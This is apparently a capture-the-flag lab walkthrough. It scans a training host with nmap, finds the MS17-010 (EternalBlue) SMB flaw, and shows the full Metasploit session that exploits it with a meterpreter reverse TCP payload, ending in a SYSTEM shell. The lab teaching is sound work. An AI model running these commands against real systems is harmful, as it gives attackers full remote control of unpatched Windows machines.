Scan and learn what exploit this machine is vulnerable to.
1. Reconnaisance
1.1 Nmap
Using nmap and vuln script to scan and identify ports and vulnerable services
nmap -Pn --script vuln 10.10.146.66
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-18 19:14 IST
Nmap scan report for 10.10.146.66
Host is up (0.17s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49158/tcp open unknown
49160/tcp open unknown
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
Nmap done: 1 IP address (1 host up) scanned in 118.66 seconds
We see that port 445(smb) has a vulnerable service with an RCE vulnerability(ms17-010) and a high risk factor. This vulnerability was termed as Eternal Blue
2. Gaining access
2.1 Metasploit
Using metasploit to exploit the vulnerability
[msf](Jobs:0 Agents:0) >> search ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
Using the module exploit/windows/smb/ms17_010_eternalblue
[msf](Jobs:0 Agents:0) >> use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0)
Exploit target:
Id Name
-- ----
0 Automatic Target
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> set RHOSTS 10.10.146.66
RHOSTS => 10.10.146.66
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> set LHOST tun0
LHOST => tun0
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> run
======================================================================
(Meterpreter 1)(C:\Windows\system32) > getuid
Server username: NT AUTHORITY\SYSTEM
We have successfully logged into the box with administrator privileges (NT AUTHORITY SYSTEM)
